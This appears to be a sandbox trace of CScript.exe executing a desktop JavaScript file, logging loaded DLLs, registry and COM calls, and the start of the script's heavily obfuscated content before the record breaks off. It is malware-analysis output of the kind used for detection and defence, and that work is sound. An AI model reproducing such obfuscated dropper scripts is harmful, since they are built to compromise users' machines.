"\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 284 start_va = 0x6210000 end_va = 0x6602fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006210000" filename = "" Region: id = 285 start_va = 0x7feff0e0000 end_va = 0x7feff209fff entry_point = 0x7feff0e0000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 286 start_va = 0x7feff3f0000 end_va = 0x7feff648fff entry_point = 0x7feff3f0000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 287 start_va = 0x7feff790000 end_va = 0x7feff907fff entry_point = 0x7feff790000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 288 start_va = 0x7fefda60000 end_va = 0x7fefda84fff entry_point = 0x7fefda60000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 289 start_va = 0x1de0000 end_va = 0x1de0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001de0000" filename = "" Region: id = 290 start_va = 0x7fefdc90000 end_va = 0x7fefdca9fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 291 start_va = 0x7fefde20000 end_va = 0x7fefde55fff entry_point = 0x7fefde20000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 292 start_va = 0x7feffbf0000 end_va = 0x7feffdc6fff entry_point = 0x7feffbf0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 293 start_va = 0x6710000 end_va = 0x680ffff entry_point = 0x0 region_type = private name = "private_0x0000000006710000" filename = "" Region: id = 294 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Thread: id = 1 os_tid = 0xaa4 [0115.814] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24fc30 | out: lpSystemTimeAsFileTime=0x24fc30*(dwLowDateTime=0x5927af30, dwHighDateTime=0x1d3f29b)) [0115.814] GetCurrentProcessId () returned 0xaa0 [0115.814] GetCurrentThreadId () returned 0xaa4 [0115.814] GetTickCount () returned 0x27167 [0115.814] QueryPerformanceCounter (in: lpPerformanceCount=0x24fc38 | out: lpPerformanceCount=0x24fc38*=564079519) returned 1 [0115.816] GetModuleHandleA (lpModuleName=0x0) returned 0xffc00000 [0115.816] GetVersionExA (in: lpVersionInformation=0x24fb20*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x24fb20*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0115.816] GetUserDefaultLCID () returned 0x409 [0115.818] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x77a30000 [0115.818] GetProcAddress (hModule=0x77a30000, lpProcName="SetThreadUILanguage") returned 0x77a46d40 [0115.818] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0115.818] FreeLibrary (hLibModule=0x77a30000) returned 1 [0115.819] GetCommandLineW () returned="\"C:\\Windows\\System32\\CScript.exe\" \"C:\\Users\\5P5NRG~1\\Desktop\\SCAN92~1.JS\" " [0115.819] lstrlenW (lpString="\"C:\\Windows\\System32\\CScript.exe\" \"C:\\Users\\5P5NRG~1\\Desktop\\SCAN92~1.JS\" ") returned 75 [0115.819] GetCurrentThreadId () returned 0xaa4 [0115.819] CoInitialize (pvReserved=0x0) returned 0x0 [0117.002] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x24f7f8 | out: phkResult=0x24f7f8*=0x88) returned 0x0 [0117.003] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x24f7f0 | out: phkResult=0x24f7f0*=0x8c) returned 0x0 [0117.003] RegQueryValueExW (in: hKey=0x8c, lpValueName="IgnoreUserSettings", lpReserved=0x0, lpType=0x24eaf8, lpData=0x24ef00, lpcbData=0x24eaf0*=0x400 | out: lpType=0x24eaf8*=0x0, lpData=0x24ef00*=0x1, lpcbData=0x24eaf0*=0x400) returned 0x2 [0117.003] RegQueryValueExW (in: hKey=0x88, lpValueName="Enabled", lpReserved=0x0, lpType=0x24eaf8, lpData=0x24ef00, lpcbData=0x24eaf0*=0x400 | out: lpType=0x24eaf8*=0x0, lpData=0x24ef00*=0x1, lpcbData=0x24eaf0*=0x400) returned 0x2 [0117.003] RegQueryValueExW (in: hKey=0x8c, lpValueName="Enabled", lpReserved=0x0, lpType=0x24eaf8, lpData=0x24ef00, lpcbData=0x24eaf0*=0x400 | out: lpType=0x24eaf8*=0x0, lpData=0x24ef00*=0x1, lpcbData=0x24eaf0*=0x400) returned 0x2 [0117.003] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x0, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0117.015] RegCloseKey (hKey=0x8c) returned 0x0 [0117.015] RegCloseKey (hKey=0x88) returned 0x0 [0117.015] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x24f510 | out: phkResult=0x24f510*=0x88) returned 0x0 [0117.015] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x24f508 | out: phkResult=0x24f508*=0x8c) returned 0x0 [0117.015] RegQueryValueExW (in: hKey=0x8c, lpValueName="IgnoreUserSettings", lpReserved=0x0, lpType=0x24e818, lpData=0x24ec20, lpcbData=0x24e810*=0x400 | out: lpType=0x24e818*=0x0, lpData=0x24ec20*=0x0, lpcbData=0x24e810*=0x400) returned 0x2 [0117.015] RegQueryValueExW (in: hKey=0x88, lpValueName="LogSecuritySuccesses", lpReserved=0x0, lpType=0x24e818, lpData=0x24ec20, lpcbData=0x24e810*=0x400 | out: lpType=0x24e818*=0x0, lpData=0x24ec20*=0x0, lpcbData=0x24e810*=0x400) returned 0x2 [0117.015] RegQueryValueExW (in: hKey=0x8c, lpValueName="LogSecuritySuccesses", lpReserved=0x0, lpType=0x24e818, lpData=0x24ec20, lpcbData=0x24e810*=0x400 | out: lpType=0x24e818*=0x0, lpData=0x24ec20*=0x0, lpcbData=0x24e810*=0x400) returned 0x2 [0117.015] RegCloseKey (hKey=0x8c) returned 0x0 [0117.015] RegCloseKey (hKey=0x88) returned 0x0 [0117.016] GetACP () returned 0x4e4 [0117.016] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77a30000 [0117.016] GetProcAddress (hModule=0x77a30000, lpProcName="HeapSetInformation") returned 0x77a4c4a0 [0117.016] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0117.016] FreeLibrary (hLibModule=0x77a30000) returned 1 [0117.016] CoRegisterMessageFilter (in: lpMessageFilter=0x3ddf90, lplpMessageFilter=0x3ddfa0 | out: lplpMessageFilter=0x3ddfa0*=0x0) returned 0x0 [0117.016] IUnknown:AddRef (This=0x3ddf90) returned 0x2 [0117.017] GetModuleFileNameW (in: hModule=0xffc00000, lpFilename=0x24f850, nSize=0x105 | out: lpFilename="C:\\Windows\\System32\\CScript.exe" (normalized: "c:\\windows\\system32\\cscript.exe")) returned 0x1f [0117.017] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\System32\\CScript.exe", lpdwHandle=0x24f1a0 | out: lpdwHandle=0x24f1a0) returned 0x704 [0117.017] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\System32\\CScript.exe", dwHandle=0x0, dwLen=0x704, lpData=0x24ea90 | out: lpData=0x24ea90) returned 1 [0117.017] VerQueryValueW (in: pBlock=0x24ea90, lpSubBlock="\\", lplpBuffer=0x24f1a8, puLen=0x24f1a4 | out: lplpBuffer=0x24f1a8*=0x24eab8, puLen=0x24f1a4) returned 1 [0117.017] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x24f1f8 | out: phkResult=0x24f1f8*=0x88) returned 0x0 [0117.018] RegQueryValueExW (in: hKey=0x88, lpValueName="IgnoreUserSettings", lpReserved=0x0, lpType=0x24e548, lpData=0x24e950, lpcbData=0x24e540*=0x400 | out: lpType=0x24e548*=0x0, lpData=0x24e950*=0x0, lpcbData=0x24e540*=0x400) returned 0x2 [0117.018] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x24f1b0 | out: phkResult=0x24f1b0*=0x8c) returned 0x0 [0117.018] RegQueryValueExW (in: hKey=0x8c, lpValueName="TrustPolicy", lpReserved=0x0, lpType=0x24f174, lpData=0x24f1f0, lpcbData=0x24f170*=0x4 | out: lpType=0x24f174*=0x0, lpData=0x24f1f0*=0x20, lpcbData=0x24f170*=0x4) returned 0x2 [0117.018] RegQueryValueExW (in: hKey=0x8c, lpValueName="UseWINSAFER", lpReserved=0x0, lpType=0x24e548, lpData=0x24e950, lpcbData=0x24e540*=0x400 | out: lpType=0x24e548*=0x0, lpData=0x24e950*=0x0, lpcbData=0x24e540*=0x400) returned 0x2 [0117.018] RegQueryValueExW (in: hKey=0x88, lpValueName="TrustPolicy", lpReserved=0x0, lpType=0x24f174, lpData=0x24f1f0, lpcbData=0x24f170*=0x4 | out: lpType=0x24f174*=0x0, lpData=0x24f1f0*=0x20, lpcbData=0x24f170*=0x4) returned 0x2 [0117.018] RegQueryValueExW (in: hKey=0x88, lpValueName="UseWINSAFER", lpReserved=0x0, lpType=0x24e548, lpData=0x24e950, lpcbData=0x24e540*=0x400 | out: lpType=0x24e548*=0x1, lpData="1", lpcbData=0x24e540*=0x4) returned 0x0 [0117.018] lstrlenW (lpString="1") returned 1 [0117.018] lstrlenW (lpString="0") returned 1 [0117.018] lstrlenW (lpString="1") returned 1 [0117.018] lstrlenW (lpString="no") returned 2 [0117.018] lstrlenW (lpString="1") returned 1 [0117.018] lstrlenW (lpString="false") returned 5 [0117.018] RegCloseKey (hKey=0x8c) returned 0x0 [0117.018] RegCloseKey (hKey=0x88) returned 0x0 [0117.018] RegCreateKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20019, lpSecurityAttributes=0x0, phkResult=0x24f1f8, lpdwDisposition=0x0 | out: phkResult=0x24f1f8*=0x88, lpdwDisposition=0x0) returned 0x0 [0117.019] RegQueryValueExW (in: hKey=0x88, lpValueName="Timeout", lpReserved=0x0, lpType=0x24f194, lpData=0x24f1f0, lpcbData=0x24f190*=0x4 | out: lpType=0x24f194*=0x0, lpData=0x24f1f0*=0x20, lpcbData=0x24f190*=0x4) returned 0x2 [0117.019] RegQueryValueExW (in: hKey=0x88, lpValueName="DisplayLogo", lpReserved=0x0, lpType=0x24e568, lpData=0x24e970, lpcbData=0x24e560*=0x400 | out: lpType=0x24e568*=0x1, lpData="1", lpcbData=0x24e560*=0x4) returned 0x0 [0117.019] lstrlenW (lpString="1") returned 1 [0117.019] lstrlenW (lpString="0") returned 1 [0117.019] lstrlenW (lpString="1") returned 1 [0117.019] lstrlenW (lpString="no") returned 2 [0117.019] lstrlenW (lpString="1") returned 1 [0117.019] lstrlenW (lpString="false") returned 5 [0117.019] RegCloseKey (hKey=0x88) returned 0x0 [0117.019] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20019, lpSecurityAttributes=0x0, phkResult=0x24f1f8, lpdwDisposition=0x0 | out: phkResult=0x24f1f8*=0x88, lpdwDisposition=0x0) returned 0x0 [0117.019] RegQueryValueExW (in: hKey=0x88, lpValueName="Timeout", lpReserved=0x0, lpType=0x24f194, lpData=0x24f1f0, lpcbData=0x24f190*=0x4 | out: lpType=0x24f194*=0x0, lpData=0x24f1f0*=0x20, lpcbData=0x24f190*=0x4) returned 0x2 [0117.019] RegQueryValueExW (in: hKey=0x88, lpValueName="DisplayLogo", lpReserved=0x0, lpType=0x24e568, lpData=0x24e970, lpcbData=0x24e560*=0x400 | out: lpType=0x24e568*=0x0, lpData=0x24e970*=0x31, lpcbData=0x24e560*=0x400) returned 0x2 [0117.019] RegCloseKey (hKey=0x88) returned 0x0 [0117.019] lstrlenW (lpString="C:\\Users\\5P5NRG~1\\Desktop\\SCAN92~1.JS") returned 37 [0117.019] lstrlenW (lpString="JS") returned 2 [0117.019] lstrlenW (lpString="WSH") returned 3 [0117.019] LoadStringW (in: hInstance=0xffc00000, uID=0x834, lpBuffer=0x24e0f0, cchBufferMax=2048 | out: lpBuffer="Microsoft (R) Windows Script Host Version %1!u!.%2!u!\nCopyright (C) Microsoft Corporation. All rights reserved.\n") returned 0x70 [0117.020] FormatMessageW (in: dwFlags=0x500, lpSource=0x2ffe38, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0x24f0d8, nSize=0x0, Arguments=0x24f148 | out: lpBuffer="/") returned 0x6a [0117.020] LocalFree (hMem=0x2feca0) returned 0x0 [0117.020] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.020] lstrlenW (lpString="Microsoft (R) Windows Script Host Version 5.8\r\nCopyright (C) Microsoft Corporation. All rights reserved.\r\n") returned 106 [0117.023] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x24eea8 | out: lpMode=0x24eea8) returned 1 [0117.023] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x2ef330*, nNumberOfCharsToWrite=0x6c, lpNumberOfCharsWritten=0x24eea0, lpReserved=0x0 | out: lpBuffer=0x2ef330*, lpNumberOfCharsWritten=0x24eea0*=0x6c) returned 1 [0117.027] LoadStringW (in: hInstance=0xffc00000, uID=0x7d1, lpBuffer=0x24dc60, cchBufferMax=2048 | out: lpBuffer="Windows Script Host") returned 0x13 [0117.027] LoadTypeLib (in: szFile="C:\\Windows\\System32\\CScript.exe", pptlib=0x24eca0*=0x0 | out: pptlib=0x24eca0*=0x2ff030) returned 0x0 [0117.314] ITypeLib:GetTypeInfoOfGuid (in: This=0x2ff030, GUID=0xffc149b0*(Data1=0x91afbd1b, Data2=0x5feb, Data3=0x43f5, Data4=([0]=0xb0, [1]=0x28, [2]=0xe2, [3]=0xca, [4]=0x96, [5]=0x6, [6]=0x17, [7]=0xec)), ppTInfo=0x24ec88 | out: ppTInfo=0x24ec88*=0x300418) returned 0x0 [0117.968] ITypeInfo:GetRefTypeOfImplType (in: This=0x300418, index=0xffffffff, pRefType=0x24ec80 | out: pRefType=0x24ec80*=0xfffffffe) returned 0x0 [0117.968] ITypeInfo:GetRefTypeInfo (in: This=0x300418, hreftype=0xfffffffe, ppTInfo=0xffc1d638 | out: ppTInfo=0xffc1d638*=0x300470) returned 0x0 [0117.968] IUnknown:Release (This=0x300418) returned 0x1 [0117.969] ITypeLib:GetTypeInfoOfGuid (in: This=0x2ff030, GUID=0xffc14f50*(Data1=0x2cc5a9d0, Data2=0xb1e5, Data3=0x11d3, Data4=([0]=0xa2, [1]=0x86, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppTInfo=0x24ec88 | out: ppTInfo=0x24ec88*=0x3004c8) returned 0x0 [0117.969] ITypeInfo:GetRefTypeOfImplType (in: This=0x3004c8, index=0xffffffff, pRefType=0x24ec80 | out: pRefType=0x24ec80*=0xfffffffe) returned 0x0 [0117.969] ITypeInfo:GetRefTypeInfo (in: This=0x3004c8, hreftype=0xfffffffe, ppTInfo=0xffc1d6b8 | out: ppTInfo=0xffc1d6b8*=0x300520) returned 0x0 [0117.969] IUnknown:Release (This=0x3004c8) returned 0x1 [0117.969] ITypeLib:GetTypeInfoOfGuid (in: This=0x2ff030, GUID=0xffc14f60*(Data1=0xbf64faf0, Data2=0x5906, Data3=0x426c, Data4=([0]=0xb4, [1]=0xbc, [2]=0x7b, [3]=0x75, [4]=0x3c, [5]=0xbe, [6]=0x81, [7]=0x9f)), ppTInfo=0x24ec88 | out: ppTInfo=0x24ec88*=0x300578) returned 0x0 [0117.969] ITypeInfo:GetRefTypeOfImplType (in: This=0x300578, index=0xffffffff, pRefType=0x24ec80 | out: pRefType=0x24ec80*=0xfffffffe) returned 0x0 [0117.969] ITypeInfo:GetRefTypeInfo (in: This=0x300578, hreftype=0xfffffffe, ppTInfo=0xffc1d6f8 | out: ppTInfo=0xffc1d6f8*=0x3005d0) returned 0x0 [0117.969] IUnknown:Release (This=0x300578) returned 0x1 [0117.969] ITypeLib:GetTypeInfoOfGuid (in: This=0x2ff030, GUID=0xffc14e20*(Data1=0x2cc5a9d1, Data2=0xb1e5, Data3=0x11d3, Data4=([0]=0xa2, [1]=0x86, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppTInfo=0x24ec88 | out: ppTInfo=0x24ec88*=0x300628) returned 0x0 [0117.969] ITypeInfo:GetRefTypeOfImplType (in: This=0x300628, index=0xffffffff, pRefType=0x24ec80 | out: pRefType=0x24ec80*=0xfffffffe) returned 0x0 [0117.969] ITypeInfo:GetRefTypeInfo (in: This=0x300628, hreftype=0xfffffffe, ppTInfo=0xffc1d678 | out: ppTInfo=0xffc1d678*=0x300680) returned 0x0 [0117.969] IUnknown:Release (This=0x300628) returned 0x1 [0117.969] IUnknown:Release (This=0x2ff030) returned 0x4 [0117.969] GetCurrentThreadId () returned 0xaa4 [0117.969] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xd8 [0117.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xffc023e8, lpParameter=0x505910, dwCreationFlags=0x0, lpThreadId=0x505938 | out: lpThreadId=0x505938*=0xabc) returned 0xe0 [0117.970] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x24eee0*=0xd8, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0xff) returned 0x0 [0118.286] CloseHandle (hObject=0xd8) returned 1 [0118.286] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\Desktop\\SCAN92~1.JS", nBufferLength=0x104, lpBuffer=0x24ef70, lpFilePart=0x24ef60 | out: lpBuffer="C:\\Users\\5P5NRG~1\\Desktop\\SCAN92~1.JS", lpFilePart=0x24ef60*="SCAN92~1.JS") returned 0x25 [0118.286] RegOpenKeyExW (in: hKey=0xffffffff80000000, lpSubKey=".JS", ulOptions=0x0, samDesired=0x20019, phkResult=0x24e480 | out: phkResult=0x24e480*=0xf2) returned 0x0 [0118.287] RegQueryValueExW (in: hKey=0xf2, lpValueName=0x0, lpReserved=0x0, lpType=0x24e430, lpData=0x24e490, lpcbData=0x24e434*=0x800 | out: lpType=0x24e430*=0x1, lpData="JSFile", lpcbData=0x24e434*=0xe) returned 0x0 [0118.287] RegCloseKey (hKey=0xf2) returned 0x0 [0118.287] RegOpenKeyExW (in: hKey=0xffffffff80000000, lpSubKey="JSFile\\ScriptEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24e480 | out: phkResult=0x24e480*=0xf2) returned 0x0 [0118.287] RegQueryValueExW (in: hKey=0xf2, lpValueName=0x0, lpReserved=0x0, lpType=0x24e430, lpData=0x24ed00, lpcbData=0x24e434*=0x200 | out: lpType=0x24e430*=0x1, lpData="JScript", lpcbData=0x24e434*=0x10) returned 0x0 [0118.287] RegCloseKey (hKey=0xf2) returned 0x0 [0118.288] CLSIDFromString (in: lpsz="JScript", pclsid=0x24ec78 | out: pclsid=0x24ec78*(Data1=0xf414c260, Data2=0x6ac0, Data3=0x11cf, Data4=([0]=0xb6, [1]=0xd1, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbb, [6]=0xbb, [7]=0x58))) returned 0x0 [0118.288] CoCreateInstance (in: rclsid=0x24ec78*(Data1=0xf414c260, Data2=0x6ac0, Data3=0x11cf, Data4=([0]=0xb6, [1]=0xd1, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbb, [6]=0xbb, [7]=0x58)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffc14828*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x24ec70 | out: ppv=0x24ec70*=0x506690) returned 0x0 [0120.147] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24ce70 | out: lpSystemTimeAsFileTime=0x24ce70*(dwLowDateTime=0x598484d0, dwHighDateTime=0x1d3f29b)) [0120.147] GetCurrentProcessId () returned 0xaa0 [0120.147] GetCurrentThreadId () returned 0xaa4 [0120.147] GetTickCount () returned 0x273c8 [0120.147] QueryPerformanceCounter (in: lpPerformanceCount=0x24ce78 | out: lpPerformanceCount=0x24ce78*=579310343) returned 1 [0120.149] __dllonexit () returned 0x7fef3710728 [0120.158] __dllonexit () returned 0x7fef3710780 [0120.159] __dllonexit () returned 0x7fef3710750 [0120.160] __dllonexit () returned 0x7fef37107b0 [0120.160] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff2b0000 [0120.161] GetProcAddress (hModule=0x7feff2b0000, lpProcName="RegisterTraceGuidsA") returned 0x77c6f570 [0120.161] EtwRegisterTraceGuidsA () returned 0x0 [0120.162] EtwRegisterTraceGuidsA () returned 0x0 [0120.162] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x24ca60, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\CScript.exe" (normalized: "c:\\windows\\system32\\cscript.exe")) returned 0x1f [0120.163] GetProcAddress (hModule=0x7feff2b0000, lpProcName="RegOpenKeyExA") returned 0x7feff2cb5f0 [0120.163] RegOpenKeyExA (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows Script\\Features", ulOptions=0x0, samDesired=0x1, phkResult=0x24cbc8 | out: phkResult=0x24cbc8*=0x0) returned 0x2 [0120.168] GetVersion () returned 0x1db10106 [0120.226] GetUserDefaultLCID () returned 0x409 [0120.226] GetACP () returned 0x4e4 [0120.227] GetCurrentThreadId () returned 0xaa4 [0120.227] GetCurrentThreadId () returned 0xaa4 [0120.227] RegOpenKeyExA (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\COM3", ulOptions=0x0, samDesired=0x20019, phkResult=0x24eba8 | out: phkResult=0x24eba8*=0x110) returned 0x0 [0120.227] GetProcAddress (hModule=0x7feff2b0000, lpProcName="RegQueryValueExA") returned 0x7feff2cc480 [0120.227] RegQueryValueExA (in: hKey=0x110, lpValueName="COM+Enabled", lpReserved=0x0, lpType=0x24eba0, lpData=0x24eb98, lpcbData=0x24eb90*=0x4 | out: lpType=0x24eba0*=0x4, lpData=0x24eb98*=0x1, lpcbData=0x24eb90*=0x4) returned 0x0 [0120.227] GetProcAddress (hModule=0x7feff2b0000, lpProcName="RegCloseKey") returned 0x7feff2d0710 [0120.227] RegCloseKey (hKey=0x110) returned 0x0 [0120.228] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7fefdf70000 [0120.228] GetProcAddress (hModule=0x7fefdf70000, lpProcName="CoGetObjectContext") returned 0x7fefdf8c920 [0120.228] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefdf70000 [0120.228] GetProcAddress (hModule=0x7fefdf70000, lpProcName="CoCreateInstance") returned 0x7fefdf97490 [0120.228] CoCreateInstance (in: rclsid=0x7fef377cba0*(Data1=0x323, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef377cd80*(Data1=0x146, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x24eb70 | out: ppv=0x24eb70*=0x7fefe14a1b0) returned 0x0 [0120.230] GetEnvironmentVariableW (in: lpName="JS_PROFILER", lpBuffer=0x24eb30, nSize=0x27 | out: lpBuffer="") returned 0x0 [0120.230] GetUserDefaultLCID () returned 0x409 [0120.230] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0120.230] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x24ebd0, cchData=6 | out: lpLCData="1252") returned 5 [0120.230] IsValidCodePage (CodePage=0x4e4) returned 1 [0120.231] CoCreateInstance (in: rclsid=0x7fef3775d88*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef3775d98*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x506a00 | out: ppv=0x506a00*=0x30f8a0) returned 0x0 [0120.231] IUnknown:AddRef (This=0x30f8a0) returned 0x2 [0120.231] GetCurrentProcessId () returned 0xaa0 [0120.231] GetCurrentThreadId () returned 0xaa4 [0120.231] GetTickCount () returned 0x27416 [0120.231] ISystemDebugEventFire:BeginSession (This=0x30f8a0, guidSourceID=0x7fef3775da8, strSessionName="JScript:00002720:00002724:18160790") returned 0x0 [0120.231] GetCurrentThreadId () returned 0xaa4 [0120.232] GetTickCount () returned 0x27416 [0120.232] GetCurrentThreadId () returned 0xaa4 [0120.232] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\Desktop\\SCAN92~1.JS" (normalized: "c:\\users\\5p5nrg~1\\desktop\\scan92~1.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x11c [0120.233] GetFileSize (in: hFile=0x11c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x13987e [0120.233] CreateFileMappingA (hFile=0x11c, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13987e, lpName=0x0) returned 0x120 [0120.233] MapViewOfFile (hFileMappingObject=0x120, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2380000 [0120.237] GetVersionExA (in: lpVersionInformation=0x24ed80*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0xfde73301, dwBuildNumber=0x7fe, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x24ed80*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0120.237] IsTextUnicode (in: lpv=0x2380000, iSize=1284222, lpiResult=0x24ed70 | out: lpiResult=0x24ed70) returned 0 [0120.237] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2380000, cbMultiByte=1284222, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1284222 [0120.238] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2380000, cbMultiByte=1284222, lpWideCharStr=0x24c0048, cchWideChar=1284222 | out: lpWideCharStr="JizQqQTrMAEKVWncTOvBvMlqaGpWhVWKiAEoPJESMMPzTGYK = \"\" \r\nvar VUkQpTMwxIpkawJqducVRyMJKdoixmXThfBMkGUOnIrHUTrQCYVYeDsWHaFMedyKlVCuvxGXaOiJHFpqlYgZRypeneFJAIjKJhWyRwVFSyyPViPBlOaGxZsmfYHQrwWRfXAajqZoDaHTzaJEPDYmhdNkojSspENWbgkxioSupmCWSZnFPDAoXkkCKPlAYhzzNkrSpLVa\r\nvar 